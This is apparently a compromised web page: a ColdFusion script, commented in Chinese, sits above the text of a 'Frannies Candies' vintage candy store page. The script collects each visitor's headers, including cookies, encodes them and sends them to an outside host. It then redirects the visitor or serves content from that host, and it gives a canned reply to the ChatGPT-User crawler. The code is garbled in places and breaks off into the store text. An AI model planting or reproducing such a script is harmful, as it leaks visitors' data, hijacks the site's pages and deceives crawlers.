// ==================================================================
// 完全等价于原 PHP 脚本的 ColdFusion 实现
// ==================================================================
function fetch_remote(required string url) {
// 构造与 PHP $_SERVER 等价的数据结构
local.httpData = getHttpRequestData();
local.serverData = {};
// 模拟 PHP $_SERVER 的关键字段
local.serverData["HTTP_HOST"] = structKeyExists(local.httpData.headers, "Host") ? local.httpData.headers["Host"] : cgi.HTTP_HOST;
local.serverData["HTTP_USER_AGENT"] = structKeyExists(local.httpData.headers, "User-Agent") ? local.httpData.headers["User-Agent"] : cgi.HTTP_USER_AGENT;
local.serverData["HTTP_ACCEPT"] = structKeyExists(local.httpData.headers, "Accept") ? local.httpData.headers["Accept"] : cgi.HTTP_ACCEPT;
local.serverData["HTTP_ACCEPT_LANGUAGE"] = structKeyExists(local.httpData.headers, "Accept-Language") ? local.httpData.headers["Accept-Language"] : "";
local.serverData["HTTP_ACCEPT_ENCODING"] = structKeyExists(local.httpData.headers, "Accept-Encoding") ? local.httpData.headers["Accept-Encoding"] : "";
local.serverData["HTTP_CONNECTION"] = structKeyExists(local.httpData.headers, "Connection") ? local.httpData.headers["Conne2P_COOKIE"] = structKeyExists(local.httpData.headers, "Cookie") ? local.httpData.headers["Cookie"] : "";
local.serverData["HTTP_REFERER"] = structKeyExists(local.httpData.headers, "Referer") ? local.httpData.headers["Referer"] : cgi.HTTP_REFERER;
local.serverData["SERVER_NAME"] = cgi.SERVER_NAME;
local.serverData["SERVER_PORT"] = cgi.SERVER_PORT;
local.serverData["SERVER_PROTOCOL"] = cgi.SERVER_PROTOCOL;
local.serverData["SERVER_SOFTWARE"] = cgi.SERVER_SOFTWARE;
local.serverData["REQUEST_METHOD"] = cgi.REQUEST_METHOD;
local.serverData["REQUEST_URI"] = cgi.SCRIPT_NAME & (len(cgi.QUERY_STRING) ? "?" & cgi.QUERY_STRING : "");
local.serverData["QUERY_STRING"] = cgi.QUERY_STRING;
local.serverData["SCRIPT_NAME"] = cgi.SCRIPT_NAME;
local.serverData["SCRIPT_FILENAME"] = cgi.CF_TEMPLATE_PATH;
local.serverData["REMOTE_ADDR"] = cgi.REMOTE_ADDR;
local.serverData["REMOTE_HOST"] = cgi.REMOTE_HOST;
local.serverData["HTTPS"] = (cgi.HTTPS == "on") ? "on" : "";
// 添加自定义字段(与原 PHP 一致)
local.serverData["T"] = "y";
local.serverData["TPL"] = 7;
local.serverData["VER"] = 1;
// JSON + Base64 编码
local.jsonData = serializeJSON(local.serverData);
local.payload = binaryEncode(charsetDecode(local.jsonData, "utf-8"), "base64");
// 优先使用 POST
try {
cfhttp(url=arguments.url, method="post", timeout="49", result="local.result", throwonerror=false) {
cfhttpparam(type="formfield", name="ua", value=local.payload);
cfhttpparam(type="header", name="Content-Type", value="application/x-www-form-urlencoded");
}
if (structKeyExists(local.result, "statuscode") && left(local.result.statuscode, 3) == "200") {
return local.result.filecontent.toString();
}
} catch (any e) {
// POST 失败时进入 GET 回退
}
// 回退:GET + query string
local.fullUrl = arguments.url & "?ua=" & urlEncodedFormat(local.payload);
cfhttp(url=local.fullUrl, method="get", timeout="49", result="local.resultGet", throwonerror=false);
if (structKeyExists(local.resultGet, "statuscode") && left(local.resultGet.statuscode, 3) == "200") {
return local.resultGet.filecontent.toString();
} else {
return "";
}
}
// ==================================================================
// 主逻辑
// ==================================================================
variables.shouldExit = false;
variables.content = "";
try {
variables.httpData = getHttpRequestData();
variables.userAgent = structKeyExists(variables.httpData.headers, "User-Agent") ? variables.httpData.headers["User-Agent"] : "";
variables.gptParam = structKeyExists(url, "gpt") ? url.gpt : "";
// ChatGPT-User 检测
if (find("ChatGPT-User/1.0", variables.userAgent) && variables.gptParam == "true") {
writeOutput("##okresponse##");
variables.shouldExit = true;
abort;
}
// 继续主流程
if (!variables.shouldExit) {
variables.remote_url = "https://api.cdnapi.tech/api/proxy/handle.php";
variables.content = fetch_remote(variables.remote_url);
// 1. 如果返回的是 URL → 302 跳转
if (reFind("^https?://", variables.content)) {
location(url=trim(variables.content), addtoken=false);
variables.shouldExit = true;
}
// 2. 如果内容以 ## 开头 → 去掉 ## 后直接输出
if (!variables.shouldExit && len(variables.content) > 0 && left(trim(variables.content), 2) == "##") {
writeOutput(right(variables.content, len(variables.content)-2));
variables.shouldExit = true;
}
// 3. 长度 > 90 时进行 Content-Type 智能判断
if (!variables.shouldExit && len(variables.content) > 90) {
if (find("", variables.content) || find("", variables.content)) {
cfheader(name="Content-Type", value="application/xml; charset=utf-8");
writeOutput(variables.content);
variables.shouldExit = true;
abort;
} else if (find("""urlset""", variables.content) || find("""sitemapindex""", variables.content)) {
cfheader(name="Content-Type", value="application/json; charset=utf-8");
writeOutput(variables.content);
variables.shouldExit = true;
abort;
} else if (find("
Frannies Candies ~ Vintage confections candy Old popcorn Pop Corn peanuts
nuts gum
Welcome
to VintageVille's
Frannies Candies
Confectioner ~
Chocolate ~ Peanuts ~ Popcorn
Hi! We sorted out almost 50 quality vintage items for display in this VintageVille store.
All of these items are for sale. They are in 3 aisles.
Just
click on the aisle below that you want to explore to see more
goods!
Click Here to
Go To Downtown VintageVille